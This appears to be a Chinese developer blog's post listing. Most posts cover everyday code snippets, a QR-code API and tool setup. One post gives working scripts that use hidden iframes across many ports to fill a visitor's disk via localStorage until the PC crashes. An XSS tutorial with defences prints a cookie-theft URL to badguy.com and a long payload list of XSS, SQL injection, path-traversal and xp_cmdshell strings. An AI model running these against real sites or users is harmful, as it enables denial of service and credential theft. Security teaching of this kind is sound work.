作为一个前端,可以如何机智地弄坏一台电脑? 代码人生

有人说,前端的界限就在浏览器那儿。

无论你触发了多少bug,最多导致浏览器崩溃,对系统影响不到哪去。
这就像二次元各种炫酷的毁灭世界,都不会导致三次元的世界末日。
然而,作为一个前端,我发现是有方式打开次元大门的…

这个实验脑洞较大,动机无聊,但某种意义上反映了一些安全问题
想象一下,有天你在家里上网,吃着火锅还唱着歌,点开一个链接,电脑突然就蓝屏了!想想还真有点小激动。

起因

故事得从localStorage说起。

html5的本地存储,相信大家都不陌生。将数据以二进制文件形式存储到本地,在当前应用得非常广泛。
windows下的chrome,localStorage存储于C:\Users\xxx\AppData\Local\Google\Chrome\User Data\Default\Local Storage文件夹中。但如果任由网页无限写文件,对用户硬盘的伤害可想而知,因而浏览器对其做了大小限制。

对于一个域名+端口,PC侧的上限是5M-10M之间,移动侧是则不大于2.5M。

那么问题就变成:这样的限制足够保护用户硬盘了吗

关键

关键的问题在于,这一限制,针对的是一个域名+端口
也就是说,你访问同一个域名的不同端口,它们的localStorage并无关联,是分开存储的。

我用node简单地开启了服务器,这时,用户访问http://127.0.0.1:1000http://127.0.0.1:1099这100个端口,会请求到同一个页面:index.html

var http = require('http');
var fs = require('fs');

//100个端口
for(var port = 1000; port< 1100; port++){
  http.createServer(function (request, response) {
    //请忽略这种循环读文件的方式,只为了简便
    fs.readFile('./index.html', function(err, content){
      if(err) {
      } else {
        response.writeHead(200, { 'Content-Type' : 'text/html; charset=UTF-8' });
        response.write(content);
        response.end();
      }
    });
  }).listen(port, '127.0.0.1');
}

当然,这个index.html里涉及了localStorage写操作。

var s = "";
//慢慢来,别写太大了,好害怕…
for(var i=0; i< 3 * 1024 * 1024; i++){
  s += "0";
}
localStorage.setItem("testData", s);

我试着用浏览器分别访问了几个端口,结果是分开存储。一切跟剧本一样。

自动遍历

但这种程度还不够。
如果要实验变得更好(xie)玩(e)一些,问题就变成如何让用户自动遍历这些端口

iframe是个好的尝试。
只要一打开http://127.0.0.1: 1000,页面的脚步就会创建一个iframe,去请求http://127.0.0.1: 1001,一直循环下去。

var Main = (function(){
  var _key = "testData";
  var _max = 1100; //最大限制
  return {
    init: function(){
      //慢慢来,别写太大了,好害怕…
      var s = "";
      for(var i=0; i< 3 * 1024 * 1024; i++){
        s += "0";
      }
      localStorage.setItem(_key, s);

      var port = parseInt(location.port)+1;
      if(port > _max) return;

      //新添加iframe
      var url = "http://127.0.0.1:" + port;
      var $iframe = document.createElement("iframe");
      $iframe.src = url;
      document.getElementsByTagName("body")[0].appendChild($iframe);
    }
  }
})();

当然iframe我们还可以设置为不可见,以掩盖这种不厚道的行为…
比方说,有人发给你一个链接,你打开后发现是个视频,而你根本注意不到背后的脚本,在视频播放的几分钟里,快要把你的C盘写满。

然后我就看到请求如潮水渐涨:

localstorage1.png

 

 

但是,请求到1081端口,最新的chrome就崩溃掉了…原来iframe嵌套太多,已经到达了浏览器的极限。

防止浏览器崩溃

C盘还未撑满,同志还需努力。怎么办?

突然想到,到达iframe极限之前,我们可以重定向啊。
每访问50个端口,就使用window.location.href重定向一次,去确保浏览器不崩溃。

var Main = (function(){
  var _key = "testData";
  var _max = 1200; //最大限制
  var _jumpSpace = 50; //为避免iframe过多导致浏览器crash,每50个执行跳转

  return {
    init: function(){
      //慢慢来,别写太大了,好害怕…
      var s = "";
      for(var i=0; i< 3 * 1024 * 1024; i++){
        s += "0";
      }
      localStorage.setItem(_key, s);

      var port = parseInt(location.port)+1;
      if(port > _max) return;

      if(port % _jumpSpace == 0){
        //每50个,重定向一次
        window.location.href = url;
      }else{
        //新添加iframe
        var $iframe = document.createElement("iframe");
        $iframe.src = url;
        document.getElementsByTagName("body")[0].appendChild($iframe);
      }
    }
  }
})();

事实证明,这种蛮拼的方法的确可行。

至此,只要访问http://127.0.0.1: 1000,就会往Local Storage文件夹里写入近500M无用数据:

localstorage3.png

 

里面的数据是这样的:

localstorage2.png

 

继续实验的黑科技

算了下我的C盘还有空间嘛,那就把端口数量从100增长到200个。
结果是这样的,到达了1.17G大小。

localstorage4.png

 

 

在后续的实验中,我就慢慢的把端口数量与存储的数据调大。

电脑也运行得越来越慢。这是为什么呢?

我观察到,有时候执行localStorage.setItem()后,在文件夹里不一定立即能看到数据文件。
怀疑这些数据会被chrome先放到内存里,以避免重复读写带来的消耗,在空闲或关闭的时机,再写进硬盘里。

但此时,浏览器已经影响到系统了。它处于一种“不会崩溃”,但“因为占用了许多内存,已经妨碍用户电脑的正常使用”的状态。
即使用户关闭了浏览器窗口,也不会很快恢复。要知道读写任务并不是随窗口关闭而终止的,否则浏览器会丢失数据。

遭遇黑科技的人们能做的只有:

  1. 等待;
  2. 用任务管理器关掉chrome进程,再等待;
  3. 相信并尝试“重启电脑解决90%电脑问题”的科学论断

可以说,浏览器的内心几乎是崩溃的。

最后

最后,还是得用严肃脸告诫一下:害人之心不可有。
本实验,从一开始就是怀揣着将安全问题上交给国家的初衷去做的(是的就是这么纯粹)。

后续,看着C盘还有2G空间,我又把端口增长到2000个,试下会发生什么。
由于请求过多,需要一定时间,我就去做别的事情了。
回来后发现房间安静祥和,美轮美奂,一片蓝光,像是加了特技。localstorage5.png

那么问题来了,计算机修理哪家强?
有点急…

原文地址:http://litten.github.io/2015/07/06/hack-in-localstorage/

 


admin 发布于  2016-4-19 10:31 

结合自己的实际经历说说WEB安全之XSS是如何发生的又如何预防 代码人生

定义(来自百度百科):

跨站脚本攻击(Cross Site Scripting),为不和层叠样式表(Cascading Style Sheets, CSS)的缩写混淆,故将跨站脚本攻击缩写为XSS。恶意攻击者往Web页面里插入恶意Script代码,当用户浏览该页之时,嵌入其中Web里面的Script代码会被执行,从而达到恶意攻击用户的特殊目的。

XSS的工作流程大致如下(图片来自网络):3.jpg

下面先看看我自己测试的XSS场景效果,当然怀有恶意的XSS是不会让你看见的:1.png

这是获取一个网站管理员的cookies

点击查看原图

这是测试弹出一句话,当然也可以是其他js代码,读取cookies存到一个地方,跳转到钓鱼网站,或者是劫持你的浏览器等等。

下面就具体的分析一下是如何形成并且发生的:


假如有下面一个textbox

<input type="text" name="address1" value="value1from">

value1from是来自用户的输入,如果用户不是输入value1from,而是输入 "/><script>alert(document.cookie)</script><!- 那么就会变成

<input type="text" name="address1" value=""/><script>alert(document.cookie)</script><!- ">

嵌入的JavaScript代码将会被执行

或者用户输入的是  "onfocus="alert(document.cookie)      那么就会变成 

<input type="text" name="address1" value="" onfocus="alert(document.cookie)">

 事件被触发的时候嵌入的JavaScript代码将会被执行

 攻击的威力,取决于用户输入了什么样的脚本 

当然用户提交的数据还可以通过QueryString(放在URL中)和Cookie发送给服务器. 例如下图

4.png


XSS之所以会发生, 是因为用户输入的数据变成了代码。 所以我们需要对用户输入的数据进行HTML Encode处理。 将其中的"中括号", “单引号”,“引号” 之类的特殊字符进行编码。5.jpg

在C#中已经提供了现成的方法,只要调用HttpUtility.HtmlEncode("string <scritp>") 就可以了。  (需要引用System.Web程序集)
Fiddler中也提供了很方便的工具, 点击Toolbar上的"TextWizard" 按钮
6.png

XSS 攻击场景


1. Dom-Based XSS 漏洞 攻击过程如下


Tom 发现了Victim.com中的一个页面有XSS漏洞,


例如: http://victim.com/search.asp?term=apple


服务器中Search.asp 页面的代码大概如下

<html>
  <title></title>
  <body>
    Results  for  <%Reequest.QueryString("term")%>
    ...
  </body>
</html>


Tom 先建立一个网站http://badguy.com,  用来接收“偷”来的信息。

然后Tom 构造一个恶意的url(如下), 通过某种方式(邮件,QQ)发给Monica

http://victim.com/search.asp?term=<script>window.open("http://badguy.com?cookie="+document.cookie)</script>

Monica点击了这个URL, 嵌入在URL中的恶意Javascript代码就会在Monica的浏览器中执行. 那么Monica在victim.com网站的cookie, 就会被发送到badguy网站中。这样Monica在victim.com 的信息就被Tom盗了.


2. Stored XSS(存储式XSS漏洞), 该类型是应用广泛而且有可能影响大Web服务器自身安全的漏洞,攻击者将攻击脚本上传到Web服务器上,使得所有访问该页面的用户都面临信息泄露的可能。 攻击过程如下


Alex发现了网站A上有一个XSS 漏洞,该漏洞允许将攻击代码保存在数据库中,


Alex发布了一篇文章,文章中嵌入了恶意JavaScript代码。


其他人如Monica访问这片文章的时候,嵌入在文章中的恶意Javascript代码就会在Monica的浏览器中执行,其会话cookie或者其他信息将被Alex盗走。


Dom-Based XSS漏洞威胁用户个体,而存储式XSS漏洞所威胁的对象将是大量的用户.

XSS 漏洞修复



原则: 不相信客户输入的数据

注意:  攻击代码不一定在<script></script>中

  1. 将重要的cookie标记为http only,   这样的话Javascript 中的document.cookie语句就不能获取到cookie了.
  2. 只允许用户输入我们期望的数据。 例如: 年龄的textbox中,只允许用户输入数字。 而数字之外的字符都过滤掉。
  3. 对数据进行Html Encode 处理
  4. 过滤或移除特殊的Html标签, 例如: <script>, <iframe> ,  &lt; for <, &gt; for >, &quot for
  5. 过滤JavaScript 事件的标签。例如 "onclick=", "onfocus" 等等。
  6. 使用第三方防护产品,比如各种云加速都有waf,百度云,阿里云,知道创宇云,或者是网站防护软件,安全狗,D盾,360网站、主机卫士等等,在这里就不一一列举,请大家自行测试吧。

如何测试XSS漏洞?


方法一:  查看代码,查找关键的变量,   客户端将数据传送给Web 服务端一般通过三种方式 Querystring, Form表单,以及cookie.  例如在ASP的程序中,通过Request对象获取客户端的变量


<%
strUserCode =  Request.QueryString(“code”);
strUser =  Request.Form(“USER”);
strID =    Request.Cookies(“ID”);
%>

假如变量没有经过htmlEncode处理, 那么这个变量就存在一个XSS漏洞

方法二: 准备测试脚本,

"/><script>alert(document.cookie)</script><!--
<script>alert(document.cookie)</script><!--
"onclick="alert(document.cookie)

在网页中的Textbox或者其他能输入数据的地方,输入这些测试脚本, 看能不能弹出对话框,能弹出的话说明存在XSS漏洞


在URL中查看有那些变量通过URL把值传给Web服务器, 把这些变量的值退换成我们的测试的脚本。  然后看我们的脚本是否能执行


方法三:  自动化测试XSS漏洞

现在已经有很多XSS扫描工具了。 实现XSS自动化测试非常简单,只需要用HttpWebRequest类。 把包含xss 测试脚本。发送给Web服务器。 然后查看HttpWebResponse中,我们的XSS测试脚本是否已经注入进去了。

附上一些常用的XSS测试代码:


"/><script>alert("测试一下,哈哈")</script><!-
‘><script>alert(document.cookie)</script>
=’><script>alert(document.cookie)</script>
<script>alert(document.cookie)</script>
<script>alert(vulnerable)</script>
%3Cscript%3Ealert(‘XSS’)%3C/script%3E
<script>alert(‘XSS’)</script>
<img src=”javascript:alert(‘XSS’)”>
%0a%0a<script>alert(\”Vulnerable\”)</script>.jsp
%22%3cscript%3ealert(%22xss%22)%3c/script%3e
%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd
%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/windows/win.ini
%3c/a%3e%3cscript%3ealert(%22xss%22)%3c/script%3e
%3c/title%3e%3cscript%3ealert(%22xss%22)%3c/script%3e
%3cscript%3ealert(%22xss%22)%3c/script%3e/index.html
%3f.jsp
%3f.jsp
<script>alert(‘Vulnerable’);</script>
<script>alert(‘Vulnerable’)</script>
?sql_debug=1
a%5c.aspx
a.jsp/<script>alert(‘Vulnerable’)</script>
a/
a?<script>alert(‘Vulnerable’)</script>
“><script>alert(‘Vulnerable’)</script>
‘;exec%20master..xp_cmdshell%20’dir%20 c:%20>%20c:\inetpub\wwwroot\?.txt’–&&
%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E
%3Cscript%3Ealert(document. domain);%3C/script%3E&
%3Cscript%3Ealert(document.domain);%3C/script%3E&SESSION_ID={SESSION_ID}&SESSION_ID=
1%20union%20all%20select%20pass,0,0,0,0%20from%20customers%20where%20fname=
http://www.testsite.com/http://www.testsite.com/http://www.testsite.com/http://www.testsite.com/etc/passwd
..\..\..\..\..\..\..\..\windows\system.ini
\..\..\..\..\..\..\..\..\windows\system.ini
”;!–“<XSS>=&{()}
<IMG src=”javascript:alert(‘XSS’);”>
<IMG src=javascript:alert(‘XSS’)>
<IMG src=JaVaScRiPt:alert(‘XSS’)>
<IMG src=JaVaScRiPt:alert(“XSS”)>
<IMG src=javascript:alert(‘XSS’)>
<IMG src=javascript:alert(‘XSS’)>
<IMG src=&#x6A&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x70&#x74&#x3A&#x61&#x6C&#x65&#x72&#x74&#x28&#x27&#x58&#x53&#x53&#x27&#x29>
<IMG src=”jav ascript:alert(‘XSS’);”>
<IMG src=”jav ascript:alert(‘XSS’);”>
<IMG src=”jav ascript:alert(‘XSS’);”>
“<IMG src=java\0script:alert(\”XSS\”)>”;’ > out
<IMG src=” javascript:alert(‘XSS’);”>
<SCRIPT>a=/XSS/alert(a.source)</SCRIPT>
<BODY BACKGROUND=”javascript:alert(‘XSS’)”>
<BODY ONLOAD=alert(‘XSS’)>
<IMG DYNSRC=”javascript:alert(‘XSS’)”>
<IMG LOWSRC=”javascript:alert(‘XSS’)”>
<BGSOUND src=”javascript:alert(‘XSS’);”>
<br size=”&{alert(‘XSS’)}”>
<LAYER src=”http://www.testsite.com/a.js”></layer>
<LINK REL=”stylesheet” href=”javascript:alert(‘XSS’);”>
<IMG src=’vbscript:msgbox(“XSS”)’>
<IMG src=”mocha:”>
<IMG src=”livescript:”>
<META HTTP-EQUIV=”refresh” CONTENT=”0;url=javascript:alert(‘XSS’);”>
<IFRAME src=javascript:alert(‘XSS’)></IFRAME>
<FRAMESET><FRAME src=javascript:alert(‘XSS’)></FRAME></FRAMESET>
<TABLE BACKGROUND=”javascript:alert(‘XSS’)”>
<DIV STYLE=”background-image: url(javascript:alert(‘XSS’))”>
<DIV STYLE=”behaviour: url(‘http://www.testsite.org/exploit.html’);”>
<DIV STYLE=”width: expression(alert(‘XSS’));”>
<STYLE>@im\port’\ja\vasc\ript:alert(“XSS”)’;</STYLE>
<IMG STYLE=’xss:expre\ssion(alert(“XSS”))’>
<STYLE TYPE=”text/javascript”>alert(‘XSS’);</STYLE>
<STYLE TYPE=”text/css”>.XSS{background-image:url(“javascript:alert(‘XSS’)”);}</STYLE><A class=”XSS”></A>
<STYLE type=”text/css”>BODY{background:url(“javascript:alert(‘XSS’)”)}</STYLE>
<BASE href=”javascript:alert(‘XSS’);//”>
getURL(“javascript:alert(‘XSS’)”)
a=”get”;b=”URL”;c=”javascript:”;d=”alert(‘XSS’);”;eval(a+b+c+d);
<XML src=”javascript:alert(‘XSS’);”>
“> <BODY ONLOAD=”a();”><SCRIPT>function a(){alert(‘XSS’);}</SCRIPT><“
<SCRIPT src=”http://xss.ha.ckers.org/xss.jpg”></SCRIPT>
<IMG src=”javascript:alert(‘XSS’)”
<!–#exec cmd=”/bin/echo ‘<SCRIPT SRC'”–><!–#exec cmd=”/bin/echo ‘=http://xss.ha.ckers.org/a.js></SCRIPT>'”–>
<IMG src=”http://www.testsite.com/somecommand.php?somevariables=maliciouscode”>
<SCRIPT a=”>” src=”http://www.testsite.com/a.js”></SCRIPT>
<SCRIPT =”>” src=”http://www.testsite.com/a.js”></SCRIPT>
<SCRIPT a=”>” ” src=”www.testsite.com/a.js”></SCRIPT>
<SCRIPT “a=’>'” src=”www.testsite.com/a.js”></SCRIPT>
<SCRIPT>document.write(“<SCRI”);</SCRIPT>PT src=”http://www.testsite.com/a.js”></SCRIPT>
<A href=http://www.testsite.com://www.testsite.com/ogle.com/>link</A>
admin’–
‘ or 0=0 —
” or 0=0 —
or 0=0 —
‘ or 0=0 #
” or 0=0 #
or 0=0 #
‘ or ‘x’=’x
” or “x”=”x
‘) or (‘x’=’x
‘ or 1=1–
” or 1=1–
or 1=1–
‘ or a=a–
” or “a”=”a
‘) or (‘a’=’a
“) or (“a”=”a
hi” or “a”=”a
hi” or 1=1 —
hi’ or 1=1 —
hi’ or ‘a’=’a
hi’) or (‘a’=’a
hi”) or (“a”=”a

HTML Encode 和URL Encode的区别

刚开始我老是把这两个东西搞混淆, 其实这是两个不同的东西。


HTML编码前面已经介绍过了,关于URL 编码是为了符合url的规范。因为在标准的url规范中中文和很多的字符是不允许出现在url中的。


例如在baidu中搜索"测试汉字"。 URL会变成

http://www.baidu.com/s?wd=%B2%E2%CA%D4%BA%BA%D7%D6&rsv_bp=0&rsv_spt=3&inputT=7477


所谓URL编码就是: 把所有非字母数字字符都将被替换成百分号(%)后跟两位十六进制数,空格则编码为加号(+)


在C#中已经提供了现成的方法,只要调用HttpUtility.UrlEncode("string <scritp>") 就可以了。  (需要引用System.Web程序集)


Fiddler中也提供了很方便的工具, 点击Toolbar上的"TextWizard" 按钮

浏览器中的XSS过滤器

为了防止发生XSS, 很多浏览器厂商都在浏览器中加入安全机制来过滤XSS。 例如IE8,IE9,Firefox, Chrome. 都有针对XSS的安全机制。 浏览器会阻止XSS。 例如下图

7.png



如果需要做测试, 最好使用IE7-。

ASP.NET中的XSS安全机制

ASP.NET中有防范XSS的机制,对提交的表单会自动检查是否存在XSS,当用户试图输入XSS代码的时候,ASP.NET会抛出一个错误如下图

8.png



很多程序员对安全没有概念, 甚至不知道有XSS的存在。 ASP.NET在这一点上做到默认安全。 这样的话就算是没有安全意识的程序员也能写出一个”较安全的网站“。


如果想禁止这个安全特性, 可以通过 <%@  Page  validateRequest=“false"  %>

想要更多关于XSS的使用和防御教程请Google搜索:https://www.google.com/#q=site:drops.wooyun.org+xss

参考:http://www.cnblogs.com/TankXiao/archive/2012/03/21/2337194.html


admin 发布于  2016-4-10 16:44 

判断是否成功将Jquery库引入,如果没有成功引入则引入本地Jquery库 代码人生

这里我用的是引入emlog的主题/插件本地Jquery库做的例子。多了就不说了,直接上代码:


<script  src=http://ajax.googleapis.com/ajax/libs/jquery/1.4.2/jquery.min.js></script>
<script type="text/javascript">
//<![CDATA[
//判断是否成功将Jquery库引入,如果没有成功引入则引入本地Jquery库
if (typeof jQuery == 'undefined') {document.write("<script type=\"text/javascript\" src=\"https://mrxn.net/content/templates/MrxnWeb/js/jquery.min.js\"><\/script>");}
//]]>
</script>

或者有更短一点的:

<script src=http://ajax.googleapis.com/ajax/libs/jquery/1.4.2/jquery.min.js></script>
<script type="text/javascript">
//<![CDATA[
//判断是否成功将Jquery库引入,如果没有成功引入则引入本地Jquery库
!window.jQuery && document.write("<script type=\"text/javascript\" src=\"https://mrxn.net/content/templates/MrxnWeb/js/jquery.min.js\"><\/script>");
//]]>
</script>



admin 发布于  2016-4-4 14:07 

2015最新.NET 24期Unity3D实战培训-全套不加密 资源分享

看到有人在我博客留言说要这个教程,我就免费分享一下,有需要的自己下载吧。

传智.net 24期就业班培训,相比21期增加了Unity3D游戏,主要培训内容有基础加强六天、数据库四天、SQL和ADO.Net高级三天、JAVAScript、DOM、JQuery、三层项目+SVN、ASP.NET、图书商城项目、MVC、OA项目、Win10通用APP开发、Unity3D游戏实例。龙天技术论坛学习.NET编程开发最佳选择!



2015-04-14基础加强1

2015-04-15基础加强2

2015-04-17基础加强3

2015-04-18基础加强4

2015-04-19基础加强5

2015-04-21基础加强6

2015-04-22 数据库01

2015-04-24 数据库02

2015-04-25 数据库03

2015-04-26 数据库04 SQL和ADO.Net

2015-04-28 SQL和ADO.Net高级

2015-04-29 SQL和ADO.Net高级

2015-04-30 SQL和ADO.Net高级

2015-05-05 JavaScript

2015-05-06 DOM

2015-05-08 DOM

2015-05-09 JQuery

2015-05-10 JQuery

2015-05-12 JQuery

2015-05-13.NET就业班-三层项目+SVN

2015-05-15.NET就业班-三层项目+SVN

2015-05-16.NET就业班-三层项目+SVN

2015-05-17.NET就业班-三层项目+SVN

2015-05-19.NET就业班-三层项目+SVN

2015-05-20 学员项目实战,不录制视频

2015-05-22 学员项目实战,不录制视频

2015-05-23 学员项目实战,不录制视频

2015-05-24-ASP.NET1

2015-05-26-ASP.NET2

2015-05-27-ASP.NET3

2015-05-29-ASP.NET4

2015-05-30-ASP.NET5

2015-05-31-ASP.NET6

2015-06-02-ASP.NET7

2015-06-03-ASP.NET8

2015-06-05-ASP.NET9

2015-06-06-ASP.NET10

2015-06-07-ASP.NET11

2015-06-09 图书商城项目1

2015-06-10 图书商城项目2

2015-06-12 图书商城项目3

2015-06-13 图书商城项目4

2015-06-14 图书商城项目5

2015-06-17 EF

2015-06-18 MVC

2015-06-20 端午节放假

2015-06-21 MVC

2015-06-22-OA项目第一天Asp.netMVC原理,框架搭建内容

2015-06-23-OA项目第二天

2015-06-25-OA项目第三天内容

2015-06-26-OA项目第四天

2015-06-28 OA项目第五天

2015-06-29 OA项目第六天

2015-06-30 OA项目第七天

2015-07-02 OA项目第八天内容

2015-07-03-OA项目第九天内容

2015-07-07 Win10_概述、开发环境、XAML

2015-07-09

2015-07-10 Win10_资源、控件模版、用户控件、动画

2015-07-12 Win10_导航、异步

2015-07-16 Win10_数据绑定、MVVM

2015-07-17 Win10_通知中心、网络编程

2015-07-18 MyMvc

2015-07-20 WebAPI、SignalR、JS跨域

2015-07-21 聊天室案例

2015-07-23 U3d(简介、坐标系、GUI)

2015-07-24 U3d(NGUI、Transform、Light)

2015-07-25 U3d(导入模型、地形与包、物理引擎)

2015-07-27 U3d(寻路、音频、协同、其它)

2015-07-28 U3d(生命周期、优化、着色器、通信)

2015-07-31 U3d(切水果)

2015-08-02 U3d(捕鱼达人)

2015-08-03 U3d(消灭星星)

2015-08-04 U3d(太空射击)

http://pan.baidu.com/s/1gdZqbWR

链接:http://pan.baidu.com/s/1i4yUBD7 密码:henn



admin 发布于  2016-3-9 18:56 

php判断某个日期是否为今天来高亮emlog当天发表的文章 PHP

先贴上简单的代码供大家参考:

<?php 
/** 
 * PHP判断一个日期是不是今天 
 * @author Mrxn
 * @Blog https://mrxn.net/ 
 */
echo '<meta charset="utf-8" />'; 
// 拟设一个日期 
$a = '2015-12-19 10:10:10'; 
// 截取日期部分,摒弃时分秒 
$b = substr($a,0,10); #或者是利用 gmdate()函数格式化,下面会有实例
// 获取今天的日期,格式为 YYYY-MM-DD 
$c = date('Y-m-d'); 
// 使用IF当作字符串判断是否相等 
if($b==$c){ 
    echo '是今天'; 
}else{ 
    echo '不是今天'; 
} 
?>

<?php 
/** 
 * PHP判断一个日期是不是今天 
 * @author Mrxn
 * @Blog https://mrxn.net/ 
 */
echo '<meta charset="utf-8" />'; 
// 拟设一个日期 
$a = '2015-12-19 10:10:10'; 
// 转换为时间戳 
$a_ux = strtotime($a); 
// 转换为 YYYY-MM-DD 格式 
$a_date = date('Y-m-d',$a_ux); 
// 获取今天的 YYYY-MM-DD 格式 
$b_date = date('Y-m-d'); 
// 使用IF当作字符串判断是否相等 
if($a_date==$b_date){ 
    echo '是今天'; 
}else{ 
    echo '不是今天'; 
} 
?>

下面就是emlog中具体的利用了:


$nowtime = date('Y-m-d');
$endtime = gmdate('Y-m-d',$row['date']);
$date = gmdate('m-d', $row['date']);
$gid = $row['gid'];
if ($is_list == "1") {
$out .='<ul id="ul1">';
if ($nowtime==$endtime) {
$out .= '
<li><span style="color:red;font-weight:bold" id="date">[' . $date . ']</span><a style="color:red;font-weight:bold" href="' . Url::log($row['gid']) . '" title="' . $row['title'] . '" ><span id="arrow">▪</span>' . $row['title'] . '</a></li> 
';
$out .='</ul>';
}else{
$out .= '
<li><span id="date">[' . $date . ']</span><a href="' . Url::log($row['gid']) . '" title="' . $row['title'] . '" ><span id="arrow">▪</span>' . $row['title'] . '</a></li> 
';
$out .='</ul>';
}
}       

00.png


效果如上图所示,当天发表的文章标题和日期为红色加粗,就是通过判断文章发表时间和当前时间是否为同一天,从而实施不同的css样式,达到想要的效果,当然,你也可以创新,自己修改,比如一周内更新的颜色,或者是几天内更新的又是什么颜色,只需要稍微修改一下if判断就好了。好了,就到这里了,如有什么疑问和建议,欢迎下方评论留言和我交流。


admin 发布于  2015-12-19 23:05 

关于A+B+C问题三种语言的解决办法,Java、C语言、Python 代码人生

原题是这个样子的:

这是一个非常简单的题目,意在考察你编程的基础能力。千万别想难了哦。输入为一行,包括了用空格分隔的三个整数A、B、C(数据范围均在-40~40之间)。输出为一行,为“A+B+C”的计算结果。

样例1

输入:

22 1 3

输出:

26

由于我也是刚刚接触Python,所以代码有点长,希望有大神可以指出,帮助我改进,在此 感激不尽!下面就开始贴上我的代码吧,顺序分别是Java、C、Python

Java:

import java.util.Scanner;
class Main
{
   public static void main(String[] args)  
   {   
          int a,b,c;
         Scanner input=new Scanner(System.in);
        a=input.nextInt();
        b=input.nextInt();
        c=input.nextInt();
         if((a>=-40&&a<=40)&&(b>=-40&&b<=40)&&(c>=-40&&c<=40))
        System.out.println(a+b+c);
        else
        System.out.println("erro");
    }
}



C语言:

#include<stdio.h>
int main(void) {
    int a, b, c;
    scanf("%d%d%d", &a, &b, &c);
    if(a > 40 || a < -40 || b > 40 || b < -40 || c > 40 || c < -40)
        return 0;
    printf("%d", a+b+c);

    return 0;
}



Python:

lst = raw_input().split(' ')
sum = 0
for i in lst:
    sum = sum+int(i)
print sum


至于其他的语言,比如什么C++/Ruby,目前还不会。暂且略懂贴出来的这三种语言外加PHP。还希望高手多多指教。最近博主比较忙,也就是要学习Python了,所以,更新估计会慢,还请大家多多包含,多多支持!谢谢!



admin 发布于  2015-12-17 01:17 

免费在线生成二维码API接口可以使用了,支持http和https PHP

本站在线二维码API接口 支持https和http 、支持 get 和 post 请求方式、
欢迎大家使用:普通http网站调用样例:http://api.mrxn.net/mrxnqrapi/api.php?data= + 文字/网址等内容 其实http的两个都可以使用的
需要使用https网站可以参看下面的调用方法:001.png
https://mrxn.net/mrxnqrapi/api.php?size=4x4&data=mrxn.net 生成的二维码如下:
手机扫描浏览、分享
Mrxn二维码API参数说明
data:要转码的数据
level:默认L 纠错级别:L、M、Q、H
size:默认4 点的大小:1到10,用于手机端4就可以了
margin:默认1 边距 1到10
logo:默认为空 需要使用logo的请单独找我详谈!
作者:Mrxn Blog: https://mrxn.net Email:[email protected]

当然也有在线制作你喜欢样式的二维码:免费体验一下

制作初衷因为本站是https的,非https加密也是可以使用的,但是浏览器的绿色小锁就会显示感叹号,我这人有强迫症!而且但免费的网站很多的都不支持https,或者是很慢,果断觉得自己搞,问了@独狼一些,还有@php爱好者,最终自己搞定了。

下面给大家列出几个大家常用的国内外的免费在线生成二维码 API 的链接:

支持http的:

http://b.bshare.cn/barCode?site=weixin&url=https://mrxn.net
http://s.jiathis.com/qrcode.php?url=https://mrxn.net

http://qr.liantu.com/api.php?text=mrxn.net

http://api.k780.com:88/?app=qr.get&data=mrxn.net&level=L&size=6

最新发现的百度云盘的:http://pan.baidu.com/share/qrcode?w=150&h=150&url=mrxn.net

支持https的:

国外的:https://api.qrserver.com/v1/create-qr-code/?size=150x150&data=mrxn.net

我自己的:https://mrxn.net/mrxnqrapi/api.php?data=mrxn.net

明月浩空的:https://limh.me/api/qrapibig.php?url=mrxn.net.jpg 他这个必须加括号里面的后缀才行(.jpg)

最新发现的百度云盘的:https://pan.baidu.com/share/qrcode?w=150&h=150&url=mrxn.net (不过加载了非加密的资源,强迫症就别用了!)

更多的二维码分享可以参看我这篇文章:https://mrxn.net/free/261.html 

分享4个自动生成网址二维码图片的方法



admin 发布于  2015-12-13 19:41 

Centos 查看系统启动时间和运行时间小计 Linux

1.uptime命令

uptime

输出:16:11:40 up 59 days, 4:21, 2 users, load average: 0.00, 0.01, 0.00

如下图所示:

01.jpg

2.查看/proc/uptime文件计算系统启动时间

cat /proc/uptime

输出: 5113396.94 575949.85 第一数字即是系统已运行的时间5113396.94 秒,运用系统工具date即可算出系统启动时间

02.jpg

代码:

date -d "$(awk -F. '{print $1}' /proc/uptime) second ago" +"%Y-%m-%d %H:%M:%S"

输出: 2008-11-09 11:50:31


3.查看/proc/uptime文件计算系统运行时间

代码:

cat /proc/uptime| awk -F. '{run_days=$1 / 86400;run_hour=($1 % 86400)/3600;run_minute=($1 % 3600)/60;run_second=$1 % 60;printf("系统已运行:%d天%d时%d分%d秒",run_days,run_hour,run_minute,run_second)}'

输出:系统已运行:59天4时13分9秒

03.jpg

由于需要测试刚学的shell编程咋样需要用到,就copy过来备份了,原文地址:http://www.centoscn.com/CentOS/help/2013/0731/834.html


admin 发布于  2015-12-13 15:19 

sublime text3安装phpfmt插件格式化php 技术文章

sublime text3也支持php格式化的插件了,在这里向作者致敬,感谢他开发出这个插件,如果你不知道sublime就不要往下看了,免得浪费你的时间,点击查看原图

首先是你的sublime安装了package control(插件管理包),如果没有安装,请自行百度搜索安装,一大堆教程,在你安装了package control之后,引用原作者的话就是:


Install this plugin through Package Manager.

  • In Sublime Text press ctrl+shift+P
  • Choose Package Control: Install Package
  • Choose phpfmt
  1. 打开sublime,在sublime界面 按 Ctrl+shift+P 组合键,
  2. 输入 install package,找到Install Package,并回车打开,
  3. 输入 phpfmt 找到并回车安装,等待安装结束,

做完上面的工作,还不能使用phpfmt插件的,还需要配置插件所需要的php环境,最新版的phpfmt插件需要php5.6或者更高版本,这里,博主离线了两个在百度网盘,分别是php5.6和php7.0的非安全线程压缩包(都是64位的),直接解压到你想放的目录即可,如果需要其他版本或者是32位的请自行前往php官网下载,百度网盘地址:http://pan.baidu.com/s/1kUn5zxl  官方下载页面:http://www.php.net/downloads.php 

将自己需要的安装包下载下载后,解压到你想放的地方,比如博主,防止wampserver的php目录里面,这是方便我的wampserver使用,你们可以根据自己的需要放置;接下来就是打开phpfmt配置:

Preferences > Package Settings > phpfmt > Settings - User

我将我的配置贴出来,供大家参考:

{
    "enable_auto_align":true,//自动调整对齐
    "indent_with_space": true,//自动空格
    "psr1": true,
    "psr2": true,
    "version": 4,
    "php_bin":"D:/wamp/bin/php/php5.6.16/php.exe",//php路径
    "format_on_save":true,//保存的时候自动格式化
    "option": "value"
}

